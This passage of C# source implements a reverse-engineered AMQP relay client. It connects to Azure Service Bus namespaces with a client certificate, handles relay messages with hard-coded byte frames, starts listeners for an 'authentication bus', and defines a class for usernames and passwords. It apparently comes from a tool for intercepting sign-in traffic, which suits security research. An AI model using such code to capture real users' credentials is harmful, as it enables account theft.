                        lMessage.AddRange(new byte[] { 0x06, 0xCC, 0x03, 0xA6, 0x02, 0x45, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x74, 0x65, 0x6D, 0x70, 0x75, 0x72, 0x69, 0x2E, 0x6F, 0x72, 0x67, 0x2F, 0x49, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x53, 0x69, 0x67, 0x6E, 0x61, 0x6C, 0x69, 0x6E, 0x67, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x2F, 0x53, 0x69, 0x67, 0x6E, 0x61, 0x6C, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x52, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x17, 0x53, 0x69, 0x67, 0x6E, 0x61, 0x6C, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x52, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x13, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x74, 0x65, 0x6D, 0x70, 0x75, 0x72, 0x69, 0x2E, 0x6F, 0x72, 0x67, 0x2F, 0x15, 0x53, 0x69, 0x67, 0x6E, 0x61, 0x6C, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x52, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x5C, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73, 0x63, 0x68, 0x65, 0x6D, 0x61, 0x73, 0x2E, 0x64, 0x61, 0x74, 0x61, 0x63, 0x6F, 0x6E, 0x74, 0x72, 0x61, 0x63, 0x74, 0x2E, 0x6F, 0x72, 0x67, 0x2F, 0x32, 0x30, 0x30, 0x34, 0x2F, 0x30, 0x37, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x41, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x50, 0x72, 0x6F, 0x78, 0x79, 0x2E, 0x43, 0x6F, 0x6D, 0x6D, 0x6F, 0x6E, 0x2E, 0x53, 0x69, 0x67, 0x6E, 0x61, 0x6C, 0x69, 0x6E, 0x67, 0x44, 0x61, 0x74, 0x61, 0x4D, 0x6F, 0x64, 0x65, 0x6C, 0x29, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x77, 0x33, 0x2E, 0x6F, 0x72, 0x67, 0x2F, 0x32, 0x30, 0x30, 0x31, 0x2F, 0x58, 0x4D, 0x4C, 0x53, 0x63, 0x68, 0x65, 0x6D, 0x61, 0x2D, 0x69, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x63, 0x65, 0x0A, 0x41, 0x63, 0x6B, 0x4C, 0x61, 0x74, 0x65, 0x6E, 0x63, 0x79, 0x0B, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x49, 0x64, 0x56, 0x02, 0x0B, 0x01, 0x73, 0x04, 0x0B, 0x01, 0x72, 0x20, 0x0B, 0x01, 0x61, 0x06, 0x56, 0x08, 0x55, 0x90, 0x05, 0x55, 0x1E, 0xAD });
                        lMessage.AddRange(seqId);
                        lMessage.AddRange(new byte[] { 0x01, 0x55, 0x3E, 0x1E, 0x00, 0x82, 0x55, 0x1E, 0xAD });
                        lMessage.AddRange(seqId);
                        lMessage.AddRange(new byte[] { 0x55, 0x40, 0x83, 0x01, 0x44, 0x0A, 0x1E, 0x00, 0x82, 0xAB, 0x01, 0x44, 0x12, 0xAD });
                        lMessage.AddRange(id2);
                        lMessage.AddRange(new byte[] { 0x44, 0x0C, 0x1E, 0x00, 0x82, 0xAB, 0x14, 0x01, 0x56, 0x0E, 0x42, 0x03, 0x0A, 0x05, 0x42, 0x07, 0x0B, 0x01, 0x62, 0x09, 0x0B, 0x01, 0x69, 0x0B, 0x45, 0x0D, 0x81, 0x45, 0x0F, 0x99, 0x24, 0x36, 0x63, 0x39, 0x64, 0x31, 0x35, 0x65, 0x61, 0x2D, 0x61, 0x35, 0x66, 0x34, 0x2D, 0x34, 0x62, 0x65, 0x31, 0x2D, 0x38, 0x31, 0x37, 0x65, 0x2D, 0x30, 0x32, 0x33, 0x61, 0x35, 0x33, 0x62, 0x63, 0x35, 0x34, 0x63, 0x34, 0x01, 0x01, 0x01, 0x01 });
                        SendToSocket(socket, token, lMessage.ToArray());
 
                        ProxySettings ps = new ProxySettings();
                        ps.certificate = settings.certificate;
                        ps.url = proxyUrl;
                        ps.connectionId = connectionId;
                        ps.transId = transId;
 
                        // Connect to proxy
                        Thread thread = new Thread(StartProxyListener);
                        Hashtable proxyParameters = new Hashtable();
                        proxyParameters.Add("proxysettings", ps);
                        proxyParameters.Add("status", status);
                        thread.Start(proxyParameters);
 
                        //return; // close the thread
                    }
                    // Step 4: Receive RelayedAcceptReply
                    else if (response.Length > 150 && Encoding.UTF8.GetString(response, 19, 7).Equals("Relayed"))
                    {
                        // Step 5: Receive service bus url
                        response = ReadFromSocket(socket, token, 256);
                        sbUrl = new byte[response[6]];
                        Array.Copy(response, 7, sbUrl, 0, response[6]);
 
                        // Step 6: Send "Give it to me!"
                        message = new byte[] { 0x0B };
                        SendToSocket(socket, token, message);
 
 
                        Thread.Sleep(100);
                    }
                    else if (response.Length > 212 && Encoding.UTF8.GetString(response, 50, 2).Equals("sb"))
                    {
 
                        // Step 7: Receive some servicebus message and extract ids
                        //response = ReadFromSocket(socket, token, 256);
                        Array.Copy(response, 27, id1, 0, 16);
                        Array.Copy(response, response.Length - 20, seqId, 0, 16);
 
                        // Step 8: Send response
                         
                        List<byte> lBody = new List<byte>();
                        lBody.AddRange(new byte[] { 0x01, 0x00, 0x56, 0x02, 0x0B, 0x01, 0x73, 0x04, 0x0B, 0x01, 0x61, 0x06, 0x56, 0x08, 0x44, 0x0A, 0x1E, 0x00, 0x82, 0xAB, 0xA0, 0x05, 0x44, 0x12, 0xAD });
                        lBody.AddRange(id1);
                        lBody.AddRange(new byte[] { 0x44, 0x0C, 0x1E, 0x00, 0x82, 0xAB, 0x14, 0x01, 0x56, 0x0E, 0x42, 0x9E, 0x05, 0x0A, 0x20, 0x42, 0x1E, 0xAD });
                        lBody.AddRange(conId);
                        lBody.AddRange(new byte[] { 0x42, 0x96, 0x05, 0x42, 0x94, 0x05, 0x44, 0x2A, 0x99 });
                        lBody.Add((byte)sbUrl.Length);
                        lBody.AddRange(sbUrl);
                        lBody.AddRange(new byte[] { 0x01, 0x01, 0x01, 0x01, 0x01 });
 
                        lMessage = new List<byte>();
                        lMessage.AddRange(new byte[] { 0x06, (byte)(lBody.Count - 1) });
                        lMessage.AddRange(lBody.ToArray());
                        SendToSocket(socket, token, lMessage.ToArray());
                    }
                    else
                    {
                        // Something else, probably a ping
                    }
                    Thread.Sleep(10);
 
                }
            }
            finally
            {
                socket.Dispose();
            }
 
        }
 
        // Starts the endpoint listener
        public static void StartEndpointListener(object endpointParameters)
        {
            Hashtable parameters = (Hashtable)endpointParameters;
            EndpointSettings settings = (EndpointSettings)parameters["endpointsettings"];
            Hashtable status = (Hashtable)parameters["status"];
 
            Console.WriteLine("Starting {0}-{1}", settings.number, settings.nameSpace);
 
            // Build the url
            string url = string.Format("wss://{0}.servicebus.windows.net/{1}servicebus/websocket", settings.nameSpace, '\x0024');
 
            Console.WriteLine("Connecting to {0}", url);
 
            // Create a socket and connect to it
            ClientWebSocket socket = new ClientWebSocket();
            socket.Options.ClientCertificates.Add(settings.certificate);
            socket.Options.AddSubProtocol("wsrelayedamqp");
            CancellationToken token = new CancellationToken();
 
            try
            {
                var connection = socket.ConnectAsync(new Uri(url), token);
                while (!connection.IsCompleted) { Thread.Sleep(10); };
                if (connection.IsFaulted.Equals("true"))
                {
                    Console.WriteLine("Listener {0}-{1} failed to connect to {2}", settings.number, settings.nameSpace, url);
                    return;
                }
 
                Console.WriteLine("Connected to {0}-{1}", settings.number, url);
 
                // Define some needed ids
                string relayLinkGuid = Guid.NewGuid().ToString();
                string trackingId = Guid.NewGuid().ToString();
                string connectionId = Guid.NewGuid().ToString();
 
                /*
                 * SASL conversation
                 */
 
                // Step 1: send AMQP3
                byte[] message = { 0x41, 0x4D, 0x51, 0x50, 0x03, 0x01, 0x00, 0x00 };
                SendToSocket(socket, token, message);
 
                // Step 2: receive AMQP3
                ReadFromSocket(socket, token, 8);
 
                // Step 3: Receive SASL mechanisms
                ReadFromSocket(socket, token, 64);
 
                // Step 4: Send reply "EXTERNAL"
                message = new byte[] { 0x00, 0x00, 0x00, 0x1A, 0x02, 0x01, 0x00, 0x00, 0x00, 0x53, 0x41, 0xC0, 0x0D, 0x03, 0xA3, 0x08, 0x45, 0x58, 0x54, 0x45, 0x52, 0x4E, 0x41, 0x4C, 0x40, 0x40 };
                SendToSocket(socket, token, message);
 
                // Step 5: Receive "Welcome!"
                ReadFromSocket(socket, token, 32);
 
                /*
                 * AMQP starts
                 */
 
                // Step 6: send AMQP0
                message = new byte[] { 0x41, 0x4D, 0x51, 0x50, 0x00, 0x01, 0x00, 0x00 };
                SendToSocket(socket, token, message);
 
                Thread.Sleep(200);
 
                // Step 7: Construct and send RelayConnectionMessage
                message = CreateRelayConnectionMessage(connectionId, settings.nameSpace);
                SendToSocket(socket, token, message);
 
                // Step 8: receive AMQP1
                ReadFromSocket(socket, token, 8);
 
                // Step 9: receive container guid
                byte[] response = ReadFromSocket(socket, token, 128);
                string containerId = Encoding.UTF8.GetString(response, 16, 35);
 
                // Step 10: send some weird ack message
                message = new byte[] { 0x00, 0x00, 0x00, 0x23, 0x02, 0x00, 0x00, 0x00, 0x00, 0x53, 0x11, 0xC0, 0x16, 0x08, 0x40, 0x52, 0x01, 0x70, 0x00, 0x00, 0x13, 0x88, 0x70, 0x00, 0x00, 0x13, 0x88, 0x70, 0x00, 0x03, 0xFF, 0xFF, 0x40, 0x40, 0x40 };
                SendToSocket(socket, token, message);
 
                // Step 11: receive container guid
                response = ReadFromSocket(socket, token, 64);
 
                // Step 12: create the link for outbound traffic
                message = CreateLinkMessage(settings, relayLinkGuid, trackingId, "out");
                SendToSocket(socket, token, message);
 
                // Step 13: create the link for inbound traffic
                message = CreateLinkMessage(settings, relayLinkGuid, trackingId, "in");
                SendToSocket(socket, token, message);
 
                // Step 14: send yet another weird message
                message = new byte[] { 0x00, 0x00, 0x00, 0x28, 0x02, 0x00, 0x00, 0x00, 0x00, 0x53, 0x13, 0xC0, 0x1B, 0x0B, 0x52, 0x01, 0x70, 0x00, 0x00, 0x13, 0x88, 0x52, 0x01, 0x70, 0x00, 0x00, 0x13, 0x88, 0x52, 0x01, 0x43, 0x70, 0x00, 0x00, 0x03, 0xE8, 0x43, 0x40, 0x42, 0x40 };
                SendToSocket(socket, token, message);
 
                // Step 15: receive three messages
                response = ReadFromSocket(socket, token, 1024);
                response = ReadFromSocket(socket, token, 1024);
                response = ReadFromSocket(socket, token, 1024);
 
                //Thread.Sleep(100);
                List<string> relays = new List<string>();
 
                // Start the loop
                while(socket.State == WebSocketState.Open)
                {
                    // Send some "I'm listening"
                    message = new byte[] { 0x00, 0x00, 0x00, 0x08, 0x02, 0x00, 0x00, 0x00 };
                    SendToSocket(socket, token, message);
 
                    // Read the message
                    response = ReadFromSocket(socket, token, 1024);
 
                    // Witch message?
                    // Indication of incoming OneWaySend
                    if (response.Length > 40 & response.Length < 50 & response[0] == 0x00 & response[9] == 0x53)
                    {
                        //Console.WriteLine("{0}-{1} OneWaySend is coming!", settings.number, settings.nameSpace);
                    }
                    else if (response.Length > 800 & response[0] == 0x00 & response[1] == 0x53 & response[2] == 0x75 & response[3] == 0xB0)
                    {
                        //Console.WriteLine("{0}-{1} OneWaySend is here!", settings.number, settings.nameSpace);
 
                        bool hostFound = false;
                        bool relayIdFound = false;
                        RelaySettings rs = new RelaySettings();
                        rs.certificate = settings.certificate;
 
                        for (int a = (response.Length - 1); a >= 0; a--)
                        {
 
                            // Find the last url element
                            if (response[a] == 0x99 & !hostFound)
                            {
                                //Get the length byte
                                int l = response[a + 1];
                                rs.hostName = Encoding.UTF8.GetString(response, a + 2, l);
 
                                //Console.WriteLine("{0}-{1} HostName {2}", settings.number, settings.nameSpace, rs.hostName);
 
                                hostFound = true;
                            }
                            // Then the next one = id
                            else if (response[a] == 0x99 & !relayIdFound)
                            {
                                //Get the length byte
                                int l = response[a + 1];
                                rs.relayId = Encoding.UTF8.GetString(response, a + 2, l);
                                Console.WriteLine("{0}-{1} RelayId {2}", settings.number, settings.nameSpace, rs.relayId);
 
                                // Send the response message
                                message = new byte[] { 0x00, 0x00, 0x00, 0x17, 0x02, 0x00, 0x00, 0x00, 0x00, 0x53, 0x15, 0xC0, 0x0A, 0x06, 0x41, 0x43, 0x40, 0x41, 0x00, 0x53, 0x24, 0x45, 0x40 };
                                SendToSocket(socket, token, message);
 
                                relayIdFound = true;
 
                                // Connect to authentication bus
                                Thread thread = new Thread(StartRelayListener);
                                Hashtable relayParameters = new Hashtable();
                                relayParameters.Add("relaysettings", rs);
                                relayParameters.Add("status", status);
                                thread.Start(relayParameters);
 
                            }
 
                        }
                    }
                    Thread.Sleep(10);
 
                } ;
            }
            finally
            {
                socket.Dispose();
            }
        }
 
        public static void SendToSocket(ClientWebSocket socket, CancellationToken token, byte[] message)
        {
            try
            {
                ArraySegment<byte> bytes = new ArraySegment<byte>(message);
                var connection = socket.SendAsync(bytes, WebSocketMessageType.Binary, true, token);
                while (!connection.IsCompleted) { Thread.Sleep(10); };
            }
            catch { }
 
             
        }
 
        public static byte[] ReadFromSocket(ClientWebSocket socket, CancellationToken token, int arraySize, bool keepAlive = false)
        {
            byte[] retval = null;
            try
            {
                byte[] emptyAMQPHeader = new byte[] { 0x00, 0x00, 0x00, 0x08, 0x02, 0x00, 0x00, 0x00 };
                DateTime start = new DateTime();
 
                byte[] bytes = new byte[arraySize];
                ArraySegment<byte> buffer = new ArraySegment<byte>(bytes);
 
                var connection = socket.ReceiveAsync(buffer, token);
                while (!connection.IsCompleted)
                {
                    // Send the empty AMQP header to keep the connection alive
                    if (keepAlive && (new DateTime()).Subtract(start).Seconds > 30)
                    {
                        SendToSocket(socket, token, emptyAMQPHeader);
                        start = new DateTime();
                    }
                    Thread.Sleep(10);
                };
 
                retval = new byte[connection.Result.Count];
                Array.Copy(bytes, 0, retval, 0, connection.Result.Count);
            }
            catch { }
 
            return retval;
        }
 
 
 
    }
 
    public class EndpointSettings
    {
        public EndpointSettings()
        {
 
        }
        public int number { get; set; }
        public bool isAvailable { get; set; }
        public string name { get; set; }
        public string domain { get; set; }
        public string nameSpace { get; set; }
        public bool reliableSessionEnabled { get; set; }
        public string scheme { get; set; }
        public string servicePath { get; set; }
        public string sharedAccessKey { get; set; }
        public string sharedAccessKeyName { get; set; }
        public X509Certificate2 certificate { get; set; }
    }
 
    public class RelaySettings
    {
        public RelaySettings()
        {
 
        }
        public string hostName { get; set; }
        public string relayId { get; set; }
        public X509Certificate2 certificate { get; set; }
    }
 
    public class ProxySettings
    {
        public ProxySettings()
        {
 
        }
        public string url { get; set; }
        public string transId { get; set; }
        public string connectionId { get; set; }
        public X509Certificate2 certificate { get; set; }
    }
 
    public class Credentials
    {
        public Credentials()
        {
            this.timeStamp = DateTime.Now.ToUniversalTime();
        }
        public string userName { get; set; }
        public string password { get; set; }
 
        public DateTime timeStamp { get; set; }
 
    }
}